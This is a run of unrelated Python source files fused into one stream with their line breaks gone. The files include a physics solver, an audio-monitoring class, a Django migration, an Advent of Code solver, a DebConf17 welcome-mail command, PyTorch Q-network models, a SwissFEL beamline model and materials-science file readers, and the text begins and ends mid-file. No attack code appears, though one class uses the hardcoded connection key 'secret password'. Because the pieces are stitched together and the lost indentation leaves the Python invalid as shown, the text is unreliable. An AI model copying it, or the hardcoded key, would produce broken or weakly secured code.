[] for types in val: for t in types.split(','): ts.append(dataset + ':' + t) return ts if __name__ == "__main__": main() main.py from builders import builder from solvers import solves from utilities import load_params, dump_result if __name__ == '__main__': params = load_params("params.json") terms = builder(nmax=params['nmax'], t_lower_bound=params['t_lower_bound'], t_pivot=params['t_pivot'], t_upper_bound=params['t_upper_bound'], n1=params['n1'], n2=params['n2'], delta=params['delta'], MU=params['MU'], U=params['U'], V=params['V'], W=params['W'], mu_lower_bound=params['mu_lower_bound'], mu_upper_bound=params['mu_upper_bound'], ma=params['ma']) result = solves(hexagon_mf_operators=terms['hexagon_mf_operators'], t_a=terms['t_a'], t_b=terms['t_b'], ts=terms['ts'], Ma=terms['Ma'], uab_term=terms['uab_term'], u_term=terms['u_term'], v_term=terms['v_term'], mu_term=terms['mu_term'], t_term=terms['t_term'], var_terms=terms['var_terms'], dig_h=terms['dig_h'], Pr=terms['Pr'], Psi_s=terms['Psi_s'], Ns=terms['Ns'],Nsquare_s=terms['Nsquare_s'], EVals=terms['EVals'], EVecs=terms['EVecs'], err=params['err'], wall_time=params['wall_time']) dump_result(Psi_s=result['Psi_s'], Ns=result['Ns'], Nsquare_s=result['Nsquare_s'], EVals=result['EVals'], EVecs=result['EVecs'], tA=terms['tA'], Ma=terms['Ma'], params=params)import sys import threading import logging import os import psutil import numpy as np import sounddevice as sd from common.continuousBuffer import ContinuousBuffer import diminish.plotting.plot as plot import threading from multiprocessing.connection import Listener from common.common import guiRefreshTimer class Monitor(): """ Monitor is utilized by Dimish to track the entire data set sound data for the error microphone, reference microphone, target file, output speaker, and output error. It will also send information to subscribers like the TUI application. Attributes ---------- buffers : threading.Lock A lock utilized to control access to the underlying buffer because these buffers are utilized by multiple threads. dataClient : Listener Using the multiprocessing Listener object to push data to the TUI application process : psutil.Process Used to retrieve system level monitoring information like CPU/Memory. """ def __init__(self, buffers): """ Parameters ---------- buffers : array An array of buffers to monitor """ self.buffers = {} # dictionary to hold the data that is popped off buffers for ploting self.dataClient = None # used by the TUI application to pass data self.process = psutil.Process(os.getpid()) for buffer in buffers: self.buffers[buffer.name] = np.empty((0, 2)) buffer.subscribe(self.observe) def observe(self, bufferName, data): """ Function utilized to track the anc data over time. Monitors the real time data from the algorithm and tracks it for plotting or analysis Parameters ---------- bufferName : str The name of the buffer that is passing data to the monitor (error, target, etc) data : np.array An array of sound data to add to the buffer Returns ------- None Raises ------ None """ self.buffers[bufferName] = np.concatenate( (self.buffers[bufferName], data), axis=0) def plot_buffers(self, algorithm): """ Plots all buffers that have been monitored using mathplotlib Parameters ---------- algorithm : str The name of the algorithm utilized in the run of the system. Returns ------- None Raises ------ None """ logging.debug(f'Plotting buffers') plot.plot_vertical_buffers(algorithm, 'anc', self.buffers) def sendData(self): """ Used to send data to the TUI application. This function runs on a timer that sends data every Parameters ---------- None Returns ------- None Raises ------ None """ for bufferName in self.buffers: if(len(self.buffers[bufferName]) > 0): self.dataClient.send(bufferName) if(bufferName != "output-error"): self.dataClient.send(self.buffers[bufferName][-1]) else: self.dataClient.send(np.average(self.buffers[bufferName])) self.dataClient.send('end buffers') self.dataClient.send( self.process.memory_info().rss / 1000000) # send in MB self.dataClient.send(psutil.cpu_percent()) threading.Timer(guiRefreshTimer, self.sendData).start() def create_connection(self): """ Creates a data connection to the TUI process in order to send data. Uses the python multiprocessing library to communicate between processes. Parameters ---------- None Returns ------- None Raises ------ None """ self.listener = Listener( ('localhost', 5000), authkey=b'secret password') logging.debug('Connecting Server...') self.dataClient = self.listener.accept() logging.debug('Connected Server...') self.sendData() def close_connection(self): """ Closes the connection to the TUI process Parameters ---------- None Returns ------- None Raises ------ None """ if(self.dataClient is not None): self.dataClient.close() # Generated by Django 3.1.5 on 2021-04-16 07:10 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('challenge', '0011_league_total_matches'), ] operations = [ migrations.AddField( model_name='league', name='run', field=models.BooleanField(default=False), ), migrations.AlterField( model_name='tournament', name='name', field=models.CharField(max_length=512, unique=True), ), ] jbwdevries/pytest-integration import time def short_method(in_put: str) -> str: return in_put[::-1] def medium_method(in_put: str) -> str: time.sleep(0.1) return in_put[::-1] def long_method(in_put: str) -> str: time.sleep(1) return in_put[::-1] # MIT License # # Copyright (c) 2020 # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in all # copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. from . import util def parse_instructions(lines): instructions = [] for line in lines: tokens = line.split() instructions.append((tokens[0], int(tokens[1]))) return instructions def run_modified_program(instructions, changed_idx, changed_op): # run entire modified program (don't allow further changes) changed_instructions = instructions.copy() changed_instructions[changed_idx] = (changed_op, instructions[changed_idx][1]) return run_program(changed_instructions, allow_change=False) def run_program(instructions, allow_change): executed = set() idx = 0 acc = 0 while 0 <= idx < len(instructions): executed.add(idx) next_instruction = instructions[idx] if next_instruction[0] == "nop": if allow_change: # see if changing the nop to a jmp fixes the infinite loop change_worked, changed_acc = run_modified_program(instructions, idx, "jmp") if change_worked: return change_worked, changed_acc idx += 1 elif next_instruction[0] == "acc": acc += next_instruction[1] idx += 1 elif next_instruction[0] == "jmp": if allow_change: # see if changing the jmp to a nop fixes the infinite loop change_worked, changed_acc = run_modified_program(instructions, idx, "nop") if change_worked: return change_worked, changed_acc idx += next_instruction[1] else: raise ValueError(f"Unrecognized instruction: {next_instruction[0]}") # halt when infinite loop detected if idx in executed: break # program completed successfully when program index points immediately after last instruction success = idx == len(instructions) return success, acc def get_part1_answer(instructions): _, acc = run_program(instructions, allow_change=False) return acc def get_part2_answer(instructions): success, acc = run_program(instructions, allow_change=True) return acc if success else None def run(): instructions = parse_instructions(util.get_input_file_lines("day08.txt")) print(f"The answer to part 1 is {get_part1_answer(instructions)}") print(f"The answer to part 2 is {get_part2_answer(instructions)}") import bandcampdownloader from player import Player import argparse from pathlib import Path def play(link): # downloads album temp_folder = "temp_albums" bandcampdownloader.download(link,temp_folder, wav=True, metadata=False) # gets file names temp_folder_path = Path(temp_folder) album = [] for file in temp_folder_path.glob("*.wav"): album.append(file.__str__()) # sorts filenames album.sort(key=lambda x: int(x[x.rfind('/') + 1:x.find(' ')])) # stars the player player = Player(album) player.interface() # deletes wav files for file in album: Path(file).unlink() # deletes directory temp_folder_path.rmdir() if __name__ == '__main__': # parses album folder parser = argparse.ArgumentParser(description="plays albums") parser.add_argument("link", metavar="ALBUM", type=str, help="Album link") args = parser.parse_args() album_link = args.link #plays album play(album_link)# -*- coding: utf-8 -*- from collections import namedtuple from django.conf import settings from django.core.mail import EmailMultiAlternatives from django.core.management.base import BaseCommand from django.template import Context, engines from dc17.models import Accomm, Attendee, Food SUBJECT = "Welcome to DebConf17! (arrival details)" TEMPLATE = """\ Dear {{ name }}, Welcome to DebConf17, hosted at the Collège de Maisonneuve in Montreal, Canada. We're delighted that you decided to join us for what we hope will be one of the best DebConfs yet. Please read the contents of this mail, and the attached PDF, carefully, as it contains important information related to your travel and visit to Montreal. == Before departing for Montreal == Print this e-mail and the attached PDF which also includes a venue map. In case of any problems (including delays or cancellation), please contact <> as soon as possible, or if you are already travelling, phone or SMS the Front Desk at +1 514-316-7065 (use this number sparingly after-hours Eastern time). Check your data, and report any errors and changes as soon as possible to <>: Arriving: {{ attendee.arrival|date:"DATETIME_FORMAT" }} Departing: {{ attendee.departure|date:"DATETIME_FORMAT" }}{% if food %} Meals requested:{% for day in meals %} {{ day.date|date:"SHORT_DATE_FORMAT" }}: {{ day.meals|join:", "|title }}{% endfor %} Diet: {{ food.diet|default:"Whatever is provided" }}{% if food.gluten_free %} Gluten Free.{% endif %}{% if food.special_diet %} Details: {{ food.special_diet }}{% endif %}{% else %} No conference-organised food requested.{% endif %} Familiarize yourself with the Codes of Conduct for both Debian [1] and DebConf [2]. If you are harassed, or observe harassment, you can contact <> or members of the local anti-harassment team who are recognizable with pink conference badges. For any other kind of problem, the Front Desk and Organisation team may be of help. [1] http://debconf.org/codeofconduct.shtml [2] https://www.debian.org/code_of_conduct Check your travel documents. Will your passport remain valid for the duration of your stay? Do you have all necessary travel authorizations such as an eTA or visa? If are used to visiting Canada without a visa and haven't in the last 6 months, you may be unaware of the new eTA system. You should check if you need an eTA, and apply online ASAP: https://travel.gc.ca/returning/customs/entering-canada Notify your bank that you'll be travelling to Canada to avoid having your card(s) blocked. Do you have travel insurance? This could be important should you become in need of medical attention, as the Canadian public health insurance system does not cover travellers. Be sure to also check with your provider if you're covered in case of lost or stolen items, such as electronics and computer devices. Note that cheese may be imported but duty may be charged if the total product value exceeds 20 CAD. For alcohol, the permitted allowance is 1,5L of wine and up to 8,5L of beer. This information might be relevant to your (optional) contribution to the Cheese and Wine party. == Your Accommodation Details == {% if not accomm %} You have not requested any conference-provided accommodation. Remember to print the details of your accommodation in case you're asked by immigration officials.{% endif %}{% if stays.onsite %} === On-site accommodation === According to our records, you're registered to stay on-site on the following days: Check-in: {{ stays.onsite.checkin|date }} Checkout: {{ stays.onsite.checkout|date }} Room: {{ accomm.onsite_room }} No bed sheets, blanket, or duvet are provided, only a cot and pillow. You will need to bring a sleeping bag, blanket and pillowcase. Lockers will be available on the venue to store your valuables, so bring also a padlock or combination lock. Don't forget to bring any showering items you might need: bath towel, facecloth, soap, shampoo and the like. You'll be sharing a room with others, so if you're sensitive to noise when sleeping, consider bringing earplugs. https://wiki.debconf.org/wiki/DebConf17/Accommodation#On-site{% endif %}{% if stays.rvc %} === McGill Royal Victoria College Residence === According to our records, you're registered at RVC on the following days: Check-in: {{ stays.rvc.checkin|date }} Checkout: {{ stays.rvc.checkout|date }} Room: {{ accomm.rvc_room }} Bed sheets and a pillow are provided, as are showering necessities such as a towel, soap and shampoo. https://wiki.debconf.org/wiki/DebConf17/Accommodation#McGill_Royal_Victoria_College_Residence{% endif %}{% if stays.hotel %} === Hôtel Universel Montréal === According to our records, you're registered at the Hotel on the following days: Check-in: {{ stays.hotel.checkin|date }} Checkout: {{ stays.hotel.checkout|date }} Refer to the hotel front desk for details. https://wiki.debconf.org/wiki/DebConf17/Accommodation#Hotel_Universel{% endif %} == What to Bring == An international adapter (if required) and power supplies for all your devices. Light clothes. It's summer in Montreal, and the days are warm and often humid. The daily maximums range from 22 to 30°C, while nights usually drop to around 15 to 18°C. The conference venue will be air conditioned so depending on the outdoor conditions and the number of people in the venue, the indoor temperature could get relatively cold so do also bring along a couple of warmer clothing items such as a hoodie. It will rain from time to time so a raincoat and/or umbrella will be useful. Don't forget a reusable water bootle and sunscreen if you plan to enjoy the outdoors. An Ethernet cable is always useful to have, if we have WiFi trouble. WiFi should be available in every area we use on the campus. Printed PGP/GPG fingerprint slips, if you want to have your key signed by other peers. == Airport Arrival == === Public Transit (747 bus) === See page 3 of the attached PDF. === Taxis === Upon exiting the border control check zone and arriving in the part of the airport open to the public, look for the taxi signs. Follow them outside and the taxis should be there. The taxi fare from the airport to downtown Montreal is priced at a fixed 40 CAD. It might cost you more to get to the venue, since it is about 5km east of the downtown area. You can simply hail for a cab at the airport. Uber is also available. Ask them to drop you off at Collège de Maisonneuve. The address is 3800 Sherbrooke Est. Once inside, look for the signs showing you the way to the front desk! == Front Desk location == The Front Desk is located on the second floor, in the main hall. Look for a windowed room with DebConf signs. If you're arriving late (after 22:00) and Front Desk is closed, there will be a volunteer stationed at the Nicolet entrance who will help you get into your designated dorm. If you're arriving very late (after 3am) you'll need to go through the 3800 Sherbrooke entrance and use the buzzer to call a security guard to open the door for you. In case of problems, the Front Desk may be reached at +1 514-316-7065. Have a safe trip. We look forward to seeing you in Montréal. The DebConf Team """ Stay = namedtuple('Stay', ('checkin', 'checkout')) Meal = namedtuple('Meal', ('date', 'meals')) def meal_sort(meal): return ['breakfast', 'lunch', 'dinner'].index(meal) class Command(BaseCommand): help = 'Send welcome emails' def add_arguments(self, parser): parser.add_argument('--yes', action='store_true', help='Actually do something'), parser.add_argument('--username', help='Send mail to a specific user, only'), def badger(self, attendee, dry_run): name = attendee.user.userprofile.display_name() to = attendee.user.email try: accomm = attendee.accomm except Accomm.DoesNotExist: accomm = None try: food = attendee.food except Food.DoesNotExist: food = None stays = {} if accomm: stay_details = attendee.accomm.get_stay_details() for checkin, checkout, alt_accomm in stay_details: venue = { '': 'onsite', 'hotel': 'hotel', 'rvc_single': 'rvc', 'rvc_double': 'rvc', }[alt_accomm] stays[venue] = Stay(checkin, checkout) meals = [] if food: by_day = {} for meal in food.meals.all(): by_day.setdefault(meal.date, []).append(meal.meal) for date, days_meals in sorted(by_day.items()): meals.append(Meal(date, sorted(days_meals, key=meal_sort))) ctx = { 'accomm': accomm, 'attendee': attendee, 'food': food, 'meals': meals, 'name': name, 'stays': stays, } template = engines['django'].from_string(TEMPLATE) body = template.render(Context(ctx)) if dry_run: print('Would badger %s <%s>' % (name, to)) return attachments = [] if (settings.EMAIL_BACKEND != 'django.core.mail.backends.console.EmailBackend'): attachments.append( ('DebConf17-arrival.pdf', self.attachment, 'application/pdf')) email_message = EmailMultiAlternatives( SUBJECT, body, to=["%s <%s>" % (name, to)], attachments=attachments) email_message.send() def handle(self, *args, **options): dry_run = not options['yes'] if dry_run: print('Not actually doing anything without --yes') with open('assets/docs/welcome.pdf', 'rb') as f: self.attachment = f.read() queryset = Attendee.objects.filter(reconfirm=True) if options['username']: queryset = queryset.filter(user__username=options['username']) for attendee in queryset: self.badger(attendee, dry_run) import click import functools from .short import ShortFormatter from .tabular import TabularFormatter def get_formatter(output_format): formatter_classes = { "table": TabularFormatter, "short": ShortFormatter } output_format = output_format.lstrip("=").split(",") formatter_class = TabularFormatter for class_str in formatter_classes.keys(): if class_str in output_format: formatter_class = formatter_classes[class_str] return formatter_class( colorize=("nocolor" not in output_format), humanize=("nohuman" not in output_format), pager=("nopager" not in output_format)) def pass_formatter(fn): @functools.wraps(fn) @click.option("--output", "-o", default="", help="Format attributes separated by commas. Supported values: nocolor, " "nopager, nohuman, short") def wrapper(*args, **kwargs): formatter = get_formatter(output_format=kwargs["output"]) del kwargs["output"] return fn(formatter=formatter, *args, **kwargs) return wrapper def confirm_action(fn): @functools.wraps(fn) @pass_formatter def wrapper(*args, **kwargs): formatter = kwargs["formatter"] del kwargs["formatter"] result = fn(*args, **kwargs) formatter.print_confirmation(**result) return result return wrapper import torch import torch.nn as nn import torch.nn.functional as F # Repository of the NN models created so far class Conv2D_NN(nn.Module): """2D Convolutional version applicable for a DQN & SQN""" # Input: Gridworld converted to a list of tensors acc. to the dictionary size # Output: Tensor of Q values for each possible action def __init__(self, window_size, num_actions, device, dict_size): super(Conv2D_NN, self).__init__() self.window_size = window_size # (square root) Size of the grid that the network sees self.device = device self.kernel_size = (3, 3) # Square kernel self.stride = (1, 1) # Equal and continuous stride size due to small grid self.conv1 = nn.Conv2d(dict_size, dict_size*2, kernel_size=self.kernel_size, stride=self.stride) self.conv2 = nn.Conv2d(dict_size*2, 32, kernel_size=self.kernel_size, stride=self.stride) def conv2d_size_out(shape, kernel_size=(3, 3), stride=(1, 1)): """Size of array after convolution(s). Refer to Pytorch website""" h = (shape[0] - (kernel_size[0] - 1) - 1)//stride[0] + 1 # height of convolved array w = (shape[1] - (kernel_size[1] - 1) - 1)//stride[1] + 1 # width of convolved array shape_out = (h, w) return shape_out # Apply twice since 2x filtering stages conv_size = conv2d_size_out(conv2d_size_out((window_size, window_size), self.kernel_size, self.stride), self.kernel_size, self.stride) linear_input_size = conv_size[0] * conv_size[1] * 32 # 32 is the filter dimension # Linear layer to convert the convolved grid to actions self.head = nn.Linear(linear_input_size, num_actions) # Called with either one element to determine next action, or a batch # during optimization. Returns tensor([[left0exp,right0exp]...]). def forward(self, x): x = x.to(self.device) x = F.relu(self.conv1(x)) x = F.relu(self.conv2(x)) x = x.view(x.shape[0], -1) # Equivalent to flattening the tensor return self.head(x) # Returning the 'Q' values for each of the possible actions class Conv1D_NN(nn.Module): """1D Convolutional version applicable for a DQN & SQN""" # Input: 1 x 25 or 1 x 50 or 1 x 75... flattened grid depending on the number of features to be explained to NN # # with positions of the obstacles on the first set, and free spaces on the next, goal states on the next etc. # Output: Tensor of Q values for each possible action # Defining and initializing the architecture of the NN def __init__(self, device, window_size, num_actions): super(Conv1D_NN, self).__init__() self.device = device self.conv1 = nn.Conv1d(1, 8, kernel_size=(3, 3), stride=(1, 1)) self.bn1 = nn.BatchNorm1d(8) self.conv2 = nn.Conv1d(8, 16, kernel_size=(3, 3), stride=(1, 1)) self.bn2 = nn.BatchNorm1d(16) def conv1d_size_out(size, kernel_size=3, stride=1): # Refer to Pytorch website return (size - (kernel_size - 1) - 1)//stride + 1 conv_size = conv1d_size_out(conv1d_size_out(window_size**2)) * 16 # Apply twice since 2x filtering stages self.head = nn.Linear(conv_size, num_actions) # Linear layer at the end # Called with either one element to determine next action, or a batch # during optimization. Returns tensor([[left0exp,right0exp]...]). def forward(self, x): x = x.to(self.device) x = torch.unsqueeze(x, 1) x = F.relu(self.bn1(self.conv1(x))) x = F.relu(self.bn2(self.conv2(x))) x = x.view(x.size(0), -1) return self.head(x) class Linear_NN(nn.Module): """Vanilla linear NN applicable for the older versions of the DQN and SQN (without grid2tensor implemented)""" # Input: 1 x 25 flattened grid (positions of the free positions and the obstacles normally works) # Output: Tensor of Q values for each possible action def __init__(self, device, window_size, num_actions): super().__init__() self.device = device # Note that the input to the NN is the flattened tensor of the grid state (here, 1 x window_size ** 2) self.fc1 = nn.Linear(window_size ** 2, 16) self.fc2 = nn.Linear(16, 8) self.fc3 = nn.Linear(8, num_actions) # Defining an implicit function to carry out the forward pass of the network def forward(self, x): x = x.to(self.device) x = F.relu(self.fc1(x)) # Applying a relu activation to the 1st FC layer (input) x = F.relu(self.fc2(x)) # The same for the hidden layer return self.fc3(x) adamjedrzejewski/ToddLinux1-10 #!/usr/bin/env python3 import os from datetime import datetime import sys from argparse import ArgumentParser SIGN_FILE = "lfs_sign.lock" def main() -> int: parser = ArgumentParser(description="Sign LFS Chroot Environment") parser.add_argument('path', help='path to lfs chroot environment', type=str) parser.add_argument("-f", "--force", help="Add sign file even when folder is not empty", action="store_true") args = parser.parse_args() force = args.force lfs_dir = os.path.abspath(args.path) os.chdir(lfs_dir) if len(os.listdir(".")) != 0: if force: print("Warning: adding sign file to non-empty directory") else: print("lfs path is not empty, use `--force` to overwrite") return 1 with open(SIGN_FILE, "w") as file: file.write(f"ToddLinux Chroot Environment created on {datetime.now()}") os.chmod(SIGN_FILE, 0o444) print(f"added sign file to '{lfs_dir}'") return 0 if __name__ == "__main__": sys.exit(main()) svenreiche/OnlineModel from src.OnlineModel.Layout.Build import Build from src.OnlineModel.Core.Type import LineContainer, Dipole, Marker from src.OnlineModel.Core.FacilityAccess import FacilityAccess from src.OnlineModel.Core.EnergyProfile import EnergyManager import src.OnlineModel.Layout.Initialization as Init class SwissFEL(FacilityAccess): """ class to create an instance of SwissFEL - the basic entry point for the online model """ def __init__(self, alt=0): """ initialize the layout :param alt: version of the lattice: alt=0 is current phase alt=1 is planned phase (near future) alt=2 is future phase (far future) """ # build layout layout = Build(alt) self.PartsList = layout.build() # generate the lattice and return the beamlines print('Initializing Lattice', layout.Version) self.ElementDB = {} # dictionary to hold all elements of the facility self.SectionDB = {} # dictionary of subsections with 7 Letter ID - atomic line # flatten beamlines so that only one outer container exists with the section container, e.g. SINSB01 # In addition the element and section database are populated for p in self.PartsList: line = LineContainer('') p[0].flatten('S', line, self.ElementDB, self.SectionDB) p[0] = line # replace the current nested line container with the list of atomic subsection # maps elements in the beamline self.mapping() # set default values for elements self.initialize(Init.initvalue) # calculate energy profile self.EM = EnergyManager() self.writeFacility(self.EM) def mapping(self): """ Routine to find the corresponding beamline for a given element/atomic section :return: nothing """ foundMarker = {} List1 = [] for i in range(0, len(self.PartsList)): # loop though all beamlines (e.g. Injector, Aramis) p = self.PartsList[i] found = 0 # line=self.BeamPath(i) j = 1 k = 0 for subsec in p[0].Element: # loops through atomic line of each beamline for ele in subsec.Element: # search for a marker, indicating a branching point if ele.Tag == 'MKBR': key = str(i) + '_' + str(j) found = found + 1 foundMarker[key] = ele.Name j = j + 1 k = k + 1 ele.__dict__.update({'mapping': [i, j, k]}) # each element has a mapping triple: # i = in which beamline it can be found # j = after which marker it can be found # k = the index of the element in the atomic line section = self.SectionDB[subsec.Name] section.__dict__.update({'mapping': i}) # mapping of the section just in which beamline List1.append([p[1], p[2], found]) self.foundMarker = foundMarker # list of marker elements return def initialize(self,initval): """ Initialize elements with some basic values from the dictionary. They are not necessarily the current design values :param initval: dictionary with element name and value :return: Nothing """ for key in initval.keys(): keysplit = key.split(':') name = keysplit[0].replace('-', '.') field = keysplit[1] val = initval[key] if 'K1L' in field or 'K2L' in field: L = self.getField(name, 'Length') if L is None: L = 1 val = val/L field = field[:-1].lower() if 'K0L' in field: field = 'angle' if 'Grad' in field: field = 'Gradient' if 'Gap' in field or 'Offset' in field: field = field.lower() self.setField(name, field, val) def writeFacility(self, app=None, simple=0): """ Loops through all beamlines, invoking the writeLattice command. :param app: class which handles the events for each element, following the ExportBase structure :param simple: <>0 just write out the specific line (e.g. only injector) instead full line :return: Nothing """ if not app: print('no application, no action') # this should throw an exception return for i in range(0, len(self.PartsList)): p = self.PartsList[i] if 'demandMapID' in dir(app): if app.demandMapID(): # app is asking which part is under writing if i == len(self.PartsList) - 1: app.MapIndx = -i # Give a negative index for the last part else: app.MapIndx = i if simple: line = p[0] else: line = self.BeamPath(self.PartsList.index(p)) print('Writing Beam line for: ', p[3]) line.writeLattice(app) def BeamPath(self, PathIndx, Branch=0): """ construct a beam path for a given path index :param PathIndx: index of the selected path - this should be made easier :param Branch: Use in the recursive approach to indicate branching points of child lines :return: returns a line container with the new line """ if PathIndx < 0 or PathIndx > len(self.PartsList) - 1: return None if not isinstance(PathIndx, int): return None path = self.PartsList[PathIndx] parentID = path[1] # reference to parent beamline (0 means root and has no parent) branchID = path[2] # branching point: the nth occurence of a marker in the parent beam line. # If negative -1 than line is appended to parent line line = LineContainer('') # create empty line which will be populated with the given elements if (branchID != 0): # get line from parents first line = self.BeamPath(parentID, branchID) foundMarker = 0 # to count makers in a given line for sec in path[0].Element: # loop over all subsection in a line for ele in sec.Element: # check if the element of the subsection is a marker and increase counter if so if isinstance(ele, Marker): foundMarker = foundMarker + 1 if Branch > 0 and foundMarker == Branch: # check whether the branching point is found found = 0 # find dipole before marker to sert to desing_angle idx = sec.Element.index(ele) - 1 while found == 0 and idx > -1: if isinstance(sec.Element[idx], Dipole): sec.Element[idx].angle = sec.Element[idx].design_angle found = 1 idx = idx - 1 secnew = LineContainer(sec.Name) # create a new line container to hold reduced section for i in range(0, sec.Element.index(ele)): ref = sec.Ref[sec.Element[i]] secnew.append(sec.Element[i], ref['pos'], ref['ref']) # add element and its reference line.append(secnew, 0, 'relative') return line else: # check for dipoles to be set straight if not a branching point. found = 0 # search backwards from the marker idx = sec.Element.index(ele) - 1 while found == 0 and idx > -1: if isinstance(sec.Element[idx], Dipole): sec.Element[idx].angle = 0 found = 1 idx = idx - 1 line.append(sec, 0, 'relative') # append subsection return line def isUpstream(self, a, b): """ Check whether element A is upstream of element B :param a: First element name :param b: Second element name :return: True or False """ if not a in self.ElementDB.keys() or not b in self.ElementDB.keys(): return None A = self.ElementDB[a] Amap = A.mapping B = self.ElementDB[b] Bmap = B.mapping if Amap[0] == Bmap[0]: # Two elements are in the same part of the machine, easy case if Amap[2] < Bmap[2]: return True else: return False myself = Bmap[0] parent = 999 while parent >= 0: parent = self.PartsList[myself][1] if Amap[0] == parent: branch = self.PartsList[myself][2] if branch == -1: return True # The part is connected to the paprent at the end, so Elem A is upstream of B elif Amap[1] <= branch: return True # The part is connected to the parent at a branch and Elem A is upstream of the branch, and thus upstream of B elif Amap[1] > branch: return False # The part is connected to the parent at a branch but Elem A is downstream of the branch and thus not upstream of B myself = parent return False # The part which includes Elem A is not upstream of Elem B # ==== FILEHANDLER ==== # import csv fieldnames = ["RankNo.","MovieTitle"] def unpack_a_csv(a_file_): centi_film_dict: dict[int, str] = {} with open(a_file_, 'r') as f: fluff_bunny_reader = csv.reader(f) for l in fluff_bunny_reader: movie_rank = l[0] movie_title = l[1] centi_film_dict[int(movie_rank)] = movie_title return centi_film_dict def unpack_a_csv_2(a_file_): centi_film_asList: list = [] with open(a_file_, 'r') as f: fluff_bunny_reader = csv.reader(f) next(fluff_bunny_reader) for l in fluff_bunny_reader: movie_rank_ = l[0] movie_title_ = l[1] centi_film_asList.append({fieldnames[0]: movie_rank_, fieldnames[1]: movie_title_}) return sorted(centi_film_asList, key = lambda dict_ : int(dict_['RankNo.']) ) def write_a_csv(stuff_toAdd_, a_file_): with open(a_file_, 'r+', newline='') as f_: rank_no_ = "RankNo." movie_title_ = "MovieTitle" fieldnames_ = [rank_no_, movie_title_] wrtr = csv.DictWriter(f_, fieldnames=fieldnames_) first_line = f_.readlines(1) if not first_line: wrtr.writeheader() for k,v in stuff_toAdd_.items(): wrtr.writerow(dict([(rank_no_, k), (movie_title_, v)])) def write_a_csv_2(stuff_toAdd_, a_file_): with open(a_file_, 'r+', newline='') as f_: rank_no_ = fieldnames[0] movie_title_ = fieldnames[1] wrtr = csv.DictWriter(f_, fieldnames=fieldnames) first_line = f_.readlines(1) if not first_line: wrtr.writeheader() for dict_ in stuff_toAdd_: wrtr.writerow(dict_) if __name__ == "__main__": print('printed from \'__main__\'') unpacked = unpack_a_csv_2('hundMov_csv_usrTopHund_DBrdr.csv') print(unpacked) write_a_csv_2(unpacked, 'hundMov_csv_usrTopHund_DBwrtr.csv')10-100 from .dataset import DataSet __all__ = [ 'DataSet' ]seatonullberg/cmstk1-10 from cmstk.structure.atom import Atom from cmstk.structure.simulation import SimulationCell from cmstk.filetypes import TextFile import numpy as np from typing import Dict, List, Optional class BestcorrFile(TextFile): """File wrapper for a bestcorr.out output file. Notes: This is a read-only wrapper. File specification: https://www.brown.edu/Departments/Engineering/Labs/avdw/atat/manual/node47.html Args: filepath: Filepath to a bestcorr.out file. Attributes: clusters: Information about each cluster at every iteration. filepath: Filepath to a bestcorr.out file. objective_functions: Value of the objective function at each iteration. """ def __init__(self, filepath: Optional[str] = None) -> None: if filepath is None: filepath = "bestcorr.out" self._clusters: Optional[List[List[Dict[str, float]]]] = None self._objective_functions: Optional[List[float]] = None super().__init__(filepath) @property def clusters(self) -> List[List[Dict[str, float]]]: if self._clusters is None: clusters: List[List[Dict[str, float]]] = [] current_cluster: List[Dict[str, float]] = [] for line in self.lines: if line.startswith("Objective_function"): clusters.append(current_cluster) current_cluster = [] else: segments = [l.strip() for l in line.split()] d = { "n_points": int(segments[0]), "diameter": float(segments[1]), "correlation": float(segments[2]), "target": float(segments[3]), "difference": float(segments[4]), } current_cluster.append(d) self._clusters = clusters return self._clusters @property def objective_functions(self) -> List[float]: if self._objective_functions is None: objective_functions: List[float] = [] for line in self.lines: if line.startswith("Objective_function"): value = float(line.split("=")[1]) objective_functions.append(value) self._objective_functions = objective_functions return self._objective_functions class BestsqsFile(TextFile): """File wrapper for a bestsqs.out output file. Notes: This is a read-only wrapper. File specification: https://www.brown.edu/Departments/Engineering/Labs/avdw/atat/manual/node47.html Args: filepath: Filepath to a bestsqs.out file. Attributes: filepath: Filepath to a bestsqs.out file. simulation_cell: Underlying simulation cell structure data. vectors: Lattice vectors. """ def __init__(self, filepath: Optional[str] = None) -> None: if filepath is None: filepath = "bestsqs.out" self._simulation_cell: Optional[SimulationCell] = None self._vectors: Optional[np.ndarray] = None super().__init__(filepath) @property def simulation_cell(self) -> SimulationCell: if self._simulation_cell is None: cm = self.lines[:3] cm = [np.fromstring(row, sep=" ") for row in cm] positions = self.lines[6:] positions = [" ".join(p.split()[:3]) for p in positions] positions_arr = [np.fromstring(p, sep=" ") for p in positions] symbols = self.lines[6:] symbols = [s.split()[-1] for s in symbols] atoms = [] for p, s in zip(positions_arr, symbols): atoms.append(Atom(position=p, symbol=s)) simulation_cell = SimulationCell(atoms, np.array(cm)) self._simulation_cell = simulation_cell return self._simulation_cell @property def vectors(self) -> np.ndarray: if self._vectors is None: vectors = self.lines[3:6] self._vectors = np.array( [np.fromstring(vec, sep=" ") for vec in vectors]) return self._vectors class RndstrFile(TextFile): """File wrapper for a rndstr.in input file. Notes: This implementation only supports the [ax, ay, az...] tilt angle format. Any files formatted differently will be read improperly and may fail silently! File specification: https://www.brown.edu/Departments/Engineering/Labs/avdw/atat/manual/node47.html Args: filepath: Filepath to a rndstr.in file. simulation_cell: The simulation cell structure to represent. probabilities: Probability of occupation by any symbols at each site. vectors: Lattice vectors. Attributes: filepath: Filepath to a rndstr.in file. simulation_cell: The simulation cell structure being represented. probabilities: Probability of occupation by any symbols at each site. vectors: Lattice vectors. """ def __init__(self, filepath: Optional[str] = None, simulation_cell: Optional[SimulationCell] = None, probabilities: Optional[List[Dict[str, float]]] = None, vectors: Optional[np.ndarray] = None) -> None: if filepath is None: filepath = "rndstr.in" 